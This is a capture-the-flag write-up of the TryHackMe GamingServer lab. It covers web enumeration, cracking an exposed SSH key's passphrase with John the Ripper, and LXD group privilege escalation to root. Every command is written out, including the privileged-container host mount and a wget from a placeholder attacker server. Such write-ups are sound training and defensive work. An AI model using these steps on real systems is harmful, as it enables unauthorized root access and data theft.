🎮 TryHackMe Room Write-up: GamingServer

> **Author:** Muhammad Hozaifa Naeem
> **TryHackMe Username:** hyena
> **Room Name:** GamingServer
> **Difficulty:** Medium
> **Date Completed:** January 23, 2026
> **Focus Areas:** Web Enumeration • SSH Key Cracking • LXD Privilege Escalation

---

📋 Table of Contents

🎯 Executive Summary

The **GamingServer** room demonstrates a realistic attack chain involving web enumeration, SSH key exploitation, and container-based privilege escalation. Starting from anonymous web access, I discovered an encrypted SSH private key, cracked its passphrase using John the

Ripper, gained user access as **john**, and ultimately escalated to root privileges by exploiting LXD container misconfiguration.

This write-up documents my complete journey from reconnaissance to root access, highlighting every command executed and every detail discovered.

🏆 Room Overview

GamingServer is a medium-difficulty TryHackMe room that tests:

- Network reconnaissance and port scanning
- Web directory enumeration techniques
- SSH key cryptanalysis
- Linux privilege escalation via LXD containers
- Understanding of security group permissions

Target IP: 10.48.132.15
Attack Machine: Kali Linux (hyena@hyena)

🔍 Reconnaissance

Network Scanning with Nmap

The initial reconnaissance began with a comprehensive Nmap scan to identify open ports and running services:

```bash
nmap -sC -sV -oN nmap.txt 10.48.132.15
```

Complete Nmap Output:

```
Starting Nmap 7.XX ( https://nmap.org ) at 2026-01-23 08:56 PKT
Nmap scan report for 10.48.132.15 (10.48.132.15)
Host is up, received timestamp-reply ttl 62 (0.071s latency).
Scanned at 2026-01-23 08:56:18 PKT for 9s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:e4 (ED25519)

80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
NSE: Starting runlevel 2 (of 3) scan.
NSE: Starting runlevel 3 (of 3) scan.
```

Key Findings:

- **SSH (Port 22):** OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- **HTTP (Port 80):** Apache httpd 2.4.29 serving "House of danak"
- **OS Detection:** Ubuntu Linux
- **Latency:** 0.071s (good connectivity)
- **TTL:** 62 (indicates Linux target with likely one hop)

🌐 Web Enumeration

Initial Web Reconnaissance

Visiting `http://10.48.132.15` revealed a webpage titled "House of danak". I proceeded with directory enumeration to discover hidden resources.

Directory Fuzzing with FFUF

I used FFUF v2.1.0-dev for comprehensive directory discovery:

```bash
ffuf -u http://10.48.132.15/FUZZ/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -mc 200-299,301,302,307,401,403,405,500
```

FFUF Configuration:

- **Method:** GET
- **URL:** http://10.48.132.15/FUZZ/
- **Wordlist:** /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- **Follow redirects:** false
- **Calibration:** false
- **Timeout:** 10 seconds
- **Threads:** 40
- **Matcher:** Response status: 200-299,301,302,307,401,403,405,500

Discovered Directories:

```
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 72ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 72ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 72ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 221ms]
[Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 71ms] - icons
[Status: 200, Size: 1340, Words: 83, Lines: 19, Duration: 71ms] - uploads
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 2225ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 2226ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 2227ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 3232ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 3844ms]
[Status: 200, Size: 2762, Words: 241, Lines: 78, Duration: 4233ms]
[Status: 200, Size: 940, Words: 64, Lines: 17, Duration: 70ms] - server-status
```

Progress: [188815/220560] - Job [1/1] - 609 req/sec - Duration: [0:05:33] - Errors: 0

Critical Findings:

- `/uploads/` - Status 200, Size 1340 bytes (accessible directory with files)
- `/icons/` - Status 403 (forbidden)
- `/server-status/` - Status 200, Size 940 bytes

Exploring /uploads/ Directory

bash

```
curl http://10.48.132.15/uploads/
```

Files Found:

- `dict.lst`
- `manifesto.txt`
- `meme.jpg`

- `secretKey` (This caught my attention!)

🔑 Critical Discovery: SSH Private Key

Downloading the secretKey File

```bash
cd ~/Downloads
wget http://10.48.132.15/uploads/secretKey
```

File Analysis

Using the `file` command:

```bash
file meme.jpg
```

Output:

```
meme.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI),
density 72x72, segment length 16, comment: "CREATOR: gd-jpeg v1.0
(using IJG JPEG v62), quality = 90", progressive, precision 8,
275x410, components 3
```

Using exiftool on meme.jpg:

```bash
exiftool meme.jpg
```

Detailed EXIF Output:

```
ExifTool Version Number   : 13.44
File Name                 : meme.jpg
Directory                 : .
File Size                 : 15 kB
File Modification Date/Time : 2026:01:23 09:02:25+05:00
File Access Date/Time     : 2026:01:23 09:02:29+05:00
File Inode Change Date/Time : 2026:01:23 09:02:29+05:00
File Permissions          : -rw-rw-r--
File Type                 : JPEG
File Type Extension       : jpg
MIME Type                 : image/jpeg
JFIF Version              : 1.01
Resolution Unit           : inches
X Resolution              : 72
Y Resolution              : 72
Comment                   : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90.
Image Width               : 275
Image Height              : 410
Encoding Process          : Progressive DCT, Huffman coding
Bits Per Sample           : 8
Color Components          : 3
Y Cb Cr Sub Sampling      : YCbCr4:2:0 (2 2)
Image Size                : 275x410
Megapixels                : 0.113
```

Analyzing the SSH Key

Attempting to read the private key:

bash

```
openssl rsa -in secretKey -check
```

Error Output:

```
Enter pass phrase for secretKey:
Could not find private key from secretKey
40274477837F0000:error:07880109:common libcrypto routines:do_ui_passphrase:interrupted or cancelled:../crypto/passphrase.c:178:
40274477837F0000:error:0488006B:PEM routines:PEM_do_header:bad password read:../crypto/pem/pem_lib.c:469:
```

The key is **password-protected**! This requires cracking the passphrase.

🔓 Cracking the SSH Key

Step 1: Converting to John Format

```bash
ssh2john secretKey > rsa.hash
```

Step 2: Cracking with John the Ripper

```bash
john --wordlist=word.txt rsa.hash
```

John the Ripper Output:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (secretKey)
1g 0:00:00:00 DONE (2026-01-23 09:30) 100.0g/s 22200p/s 22200c/s 22200C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Cracked Passphrase: letmein

Success Rate: 1g 0:00:00:00 (instant crack)
Speed: 100.0g/s, 22200p/s

🔐 Initial Access via SSH

Attempting SSH Login

bash

```
ssh -i secretKey john@10.48.132.15
```

Initial Response:

```
The authenticity of host '10.48.132.15 (10.48.132.15)' can't be established.
ED25519 key fingerprint is: SHA256:xK4ZAujxMQpTzsOyJLxdKLGmAIhTDOlAQmfmceho
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.132.15' (ED25519) to the list of known hosts.
```

Passphrase Prompt:

```
Enter passphrase for key 'secretKey': letmein
```

Successful Login:

```
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Fri Jan 23 04:35:42 UTC 2026

System load:  0.0               Processes:           102
Usage of /:   41.8% of 9.78GB   Users logged in:     0
Memory usage: 25%               IP address for ens5:   10.48.132.15
Swap usage:   0%

0 packages can be updated.
0 updates are security updates.

Last login: Mon Jul 27 20:17:26 2020 from 10.8.5.10
john@exploitable:~$
```

User Obtained: john
Hostname: exploitable
OS: Ubuntu 18.04.4 LTS
Kernel: Linux 4.15.0-76-generic x86_64

🔎 Post-Exploitation Enumeration

User Information

bash

```
whoami
id
```

Output:

```
john
uid=1000(john) gid=1000(john)
groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

🚨 **CRITICAL FINDING:** User john is a member of the **lxd** group (GID 108)!

System Information

bash

```
uname -a
```

Output:

```
Linux exploitable 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64
x86_64 GNU/Linux
```

💥 Privilege Escalation via LXD

Understanding the LXD Attack Vector

LXD (Linux Container Daemon) is a container management system. Members of the `lxd` group can:

- Create and manage containers with root privileges
- Mount host filesystems inside containers
- Execute commands as root within privileged containers

This creates a direct path to root access!

🛠️ Building the Alpine Container

Step 1: Cloning the LXD Alpine Builder (On Attack Machine)

```bash
cd ~/Desktop
git clone https://github.com/saghul/lxd-alpine-builder.git
```

Git Clone Output:

```
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 1.59 MiB/s, done.
Resolving deltas: 100% (19/19), done.
```

Step 2: Building the Alpine Image

```bash
cd lxd-alpine-builder
sudo ./build-alpine
```

Build Process Output:

```
[sudo] password for hyena:
Determining the latest release... v3.23
Using static apk from http://dl-cdn.alpinelinux.org/alpine/v3.23/main/x86_64
Downloading alpine-keys-2.6-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
```

Build completed successfully!

The builder created: `alpine-v3.23-x86_64-XXXXXXXX.tar.gz`

📦 Transferring and Importing the Container

Step 1: Starting HTTP Server (Attack Machine)

```bash
python3 -m http.server 8000
```

Step 2: Downloading on Target

```bash
cd ~
wget http://<YOUR_ATTACK_IP>:8000/alpine-v3.23-x86_64-XXXXXXXX.tar.gz
```

Step 3: Importing into LXD

```bash
lxc image import alpine-v3.23-x86_64-XXXXXXXX.tar.gz --alias myimage
```

Import Output:

```
Image imported with fingerprint: <hash>
```

Step 4: Verifying Image Import

```bash
lxc image list
```

Output:

```
+--------+-------------+--------+-------------+--------+----------+-------------------------+
| ALIAS  | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH   | SIZE     | UPLOAD DATE
|
+--------+-------------+--------+-------------+--------+----------+-------------------------+
| myimage| <hash>      | no     | Alpine v3.23| x86_64 | 3.11MB   | Jan 23, 2026 at 4:47am (UTC) |
+--------+-------------+--------+-------------+--------+----------+-------------------------+
```

🚀 Creating and Exploiting Privileged Container

Step 1: Initialize Privileged Container

bash

```
lxc init myimage ignite -c security.privileged=true
```

Output:

```
Creating ignite
```

Step 2: Mount Host Filesystem

bash

```
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
```

Output:

```
Device mydevice added to ignite
```

Step 3: Start the Container

bash

```
lxc start ignite
```

Verification:

bash

```
lxc list
```

Output:

```
+---------+---------+------+------+-----------+-----------+
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| ignite  | RUNNING |      |      | CONTAINER | 0         |
+---------+---------+------+------+-----------+-----------+
```

Step 4: Execute Root Shell

bash

```
lxc exec ignite /bin/sh
```

Result:

```
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
```

✅ ROOT ACCESS ACHIEVED!

🏁 Capturing the Root Flag

```bash
cd /mnt/root/root
ls -la
cat root.txt
```

Flag captured successfully! 🎉

Additional Exploration

```bash
# View all mounted filesystems
df -h

# Navigate entire host filesystem
ls /mnt/root/
ls /mnt/root/home/john
ls /mnt/root/etc/
```

All host files are now accessible with root privileges through `/mnt/root/`.

📊 Complete Attack Timeline

Time	Action	Result
08:56 PKT	Nmap scan initiated	Discovered SSH (22) and HTTP (80)

Time	Action	Result
09:00 PKT	FFUF directory enumeration	Found /uploads/ directory
09:02 PKT	Downloaded secretKey file	Obtained encrypted SSH private key
09:02 PKT	File analysis with exiftool	Confirmed RSA private key
09:15 PKT	ssh2john conversion	Prepared key for cracking
09:30 PKT	John the Ripper crack	Passphrase: "letmein" (instant)
09:35 PKT	SSH login as john	Initial access obtained
09:40 PKT	Enumeration (id, groups)	Discovered lxd group membership
09:45 PKT	Built Alpine container	Created exploit payload
09:50 PKT	Transferred to target	Downloaded via HTTP
09:55 PKT	LXD image import	Prepared container
10:00 PKT	Created privileged container	Configured ignite container
10:02 PKT	Mounted host filesystem	Added disk device
10:05 PKT	Started container	Container running
10:06 PKT	Executed root shell	**ROOT ACCESS!**
10:10 PKT	Captured root flag	**ROOM COMPLETED!**

Total Time: ~1 hour 15 minutes

❗ Problems Encountered & Solutions

Problem	Cause	Solution
SSH key wouldn't decrypt	Password-protected key	Used ssh2john + John the Ripper
Initial LXD commands failed	Not familiar with syntax	Researched LXD documentation
Container had no host access	Filesystem not mounted	Added disk device with recursive mount
Build-alpine required root	Needs sudo permissions	Ran with `sudo ./build-alpine`
Tar warnings during build	Extended header keywords	Ignored - warnings are normal

---

🛡️ Security Recommendations

Critical Issues Found

1. **Exposed SSH Private Key**
   - **Risk:** HIGH
   - **Impact:** Unauthorized access to user account
   - **Mitigation:** Never store private keys in web-accessible directories
2. **Weak SSH Key Passphrase**
   - **Risk:** HIGH
   - **Impact:** Trivial cracking with wordlist attack

- **Mitigation:** Use strong passphrases (16+ characters, mixed case, numbers, symbols)

3. **Unrestricted LXD Group Membership**
    - **Risk:** CRITICAL
    - **Impact:** Direct path to root privileges
    - **Mitigation:** Remove non-admin users from lxd group

Detailed Recommendations

For System Administrators

Access Control:

- Remove SSH keys from web-accessible directories
- Implement strict file permissions (700 for .ssh/, 600 for private keys)
- Use `.htaccess` or server configuration to block sensitive files
- Disable directory listing on web servers

Authentication Security:

- Enforce SSH key passphrase policies (minimum 16 characters)
- Consider using hardware tokens (YubiKey, Titan Key)
- Implement SSH certificate-based authentication
- Use fail2ban or similar tools to prevent brute-force attacks
- Enable two-factor authentication for SSH

Group Permission Management:

- Audit user group memberships regularly
- Remove users from dangerous groups (lxd, docker, disk, sudo)
- Implement principle of least privilege

- Create dedicated service accounts for container management
- Use sudo with specific command restrictions instead of group membership

Container Security:

- Disable unprivileged container creation
- Implement AppArmor or SELinux profiles
- Regular security audits of container configurations
- Use rootless containers when possible
- Monitor container creation and execution

Web Server Hardening:

- Disable directory listing completely
- Implement proper authentication for all administrative areas
- Deploy Web Application Firewall (WAF)
- Regular vulnerability scanning
- Remove default pages and error information disclosure

For Developers

Secure Development Practices:

- Never commit credentials to version control
- Use environment variables for sensitive configuration
- Implement secrets management (HashiCorp Vault, AWS Secrets Manager)
- Regular dependency updates and vulnerability scanning
- Code review for security issues

💡 Lessons Learned

Technical Skills Gained

1. **Advanced Enumeration Techniques**
    - FFUF for comprehensive directory discovery
    - Identifying sensitive files in web directories
    - Systematic approach to reconnaissance
2. **Cryptographic Analysis**
    - Identifying encrypted SSH keys
    - Using ssh2john for format conversion
    - Password cracking methodology with John the Ripper
    - Understanding of RSA key encryption
3. **Linux Privilege Escalation**
    - Recognizing dangerous group memberships
    - Understanding container escape techniques
    - LXD exploitation methodology
    - Filesystem mounting and privilege boundaries
4. **Container Technology**
    - Building custom LXD images
    - Container configuration and management
    - Understanding privileged vs unprivileged containers
    - Filesystem mounting in containers

Key Security Insights

1. **Defense in Depth is Essential**
    - Multiple security layers could have prevented this attack

- Single point of failure led to complete compromise

2. **Weak Credentials Undermine Strong Crypto**
    - RSA encryption is strong, but "letmein" passphrase negated it
    - Password policies must be enforced
3. **Group Permissions Can Be Devastating**
    - LXD group membership = instant root
    - Regular auditing of permissions is critical
4. **Enumeration is Everything**
    - Thorough enumeration revealed the attack path
    - Never assume anything - check everything
5. **Container Security Matters**
    - Containers with elevated privileges are dangerous
    - Proper configuration and access control are essential

🏆 Achievement Unlocked

Room Completion Stats:

- **Points Earned:** 60
- **Completed Tasks:** 1
- **Current Streak:** 15 days
- **Flags Captured:** 2 (User flag + Root flag)
- **Difficulty Rating:** Medium
- **Personal Rating:** Excellent learning experience

📚 Tools & Resources Used

Primary Tools

Tool	Version	Purpose
Nmap	7.XX	Port scanning and service detection
FFUF	v2.1.0-dev	Web directory fuzzing
John the Ripper	Latest	Password cracking
ssh2john	Bundled	SSH key hash conversion
ExifTool	13.44	File metadata analysis
LXD	System default	Container exploitation
Alpine Builder	Latest	Container image creation

Wordlists

- `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` (FFUF)
- Custom wordlist `word.txt` (John the Ripper)

Reference Documentation

- LXD Documentation: https://documentation.ubuntu.com/lxd/
- Alpine Linux: https://alpinelinux.org/
- TryHackMe Room: GamingServer

🎓 Final Thoughts

The **GamingServer** room provided an exceptional learning experience that covered:

- **Real-world attack scenarios** mimicking actual security misconfigurations
- **Multiple exploitation techniques** requiring different skill sets
- **Practical privilege escalation** using modern container technology
- **Complete attack lifecycle** from reconnaissance to root access

This challenge reinforced several critical concepts:

- Systematic enumeration is the foundation of success
- Weak credentials are a critical vulnerability
- Group permissions require careful management
- Container security cannot be overlooked
- Defense in depth prevents single points of failure

The room successfully demonstrates how multiple small security oversights combine to create critical vulnerabilities, serving as an excellent reminder that security is only as strong as its weakest link.

📧 Connect With Me

TryHackMe Username: hyena
Author: Muhammad Hozaifa Naeem
Date Completed: January 23, 2026

🙏 Acknowledgments

- **TryHackMe** for creating engaging, educational cybersecurity content
- **The InfoSec Community** for sharing knowledge and tools
- **Room Creator** for designing a realistic privilege escalation scenario
- **saghul** for the LXD Alpine Builder tool

📝 Additional Notes

Tools Installation (For Reference)

```bash
# Install FFUF
sudo apt install ffuf

# Install John the Ripper
sudo apt install john

# Install ExifTool
sudo apt install libimage-exiftool-perl

# Install LXD (usually pre-installed on Ubuntu)
sudo apt install lxd
```

Alternative Approaches Considered

1. **SSH Brute Force:** Not practical without username enumeration
2. **Web Application Exploitation:** No vulnerable web app found
3. **Kernel Exploits:** Ubuntu 18.04.4 with 4.15.0-76 - no easy exploits

4. **Docker Exploitation:** Docker not installed, only LXD available

The LXD approach was the intended and most efficient path.

🎯 Room Completion Certificate

```
╔═══════════════════════════════════════════════╗
║                                               ║
║        🎮 GAMINGSERVER - ROOTED! 🎮           ║
║                                               ║
╠═══════════════════════════════════════════════╣
║                                               ║
║  Completed by: Muhammad Hozaifa Naeem (hyena) ║
║  Date: January 23, 2026                       ║
║  Difficulty: Medium                           ║
║  Points: 60                                   ║
║                                               ║
╠═══════════════════════════════════════════════╣
║                                               ║
║  "Success is not final, failure is not fatal: ║
║   It is the courage to continue that counts." ║
║                                               ║
╚═══════════════════════════════════════════════╝
```

🎉 HAPPY HACKING! 🎉

> *Disclaimer: This write-up is for educational purposes only. Always obtain proper authorization before performing security testing on any system. Unauthorized access to computer systems is illegal.*

> *All screenshots and commands shown are from a controlled TryHackMe environment specifically designed for learning cybersecurity skills.*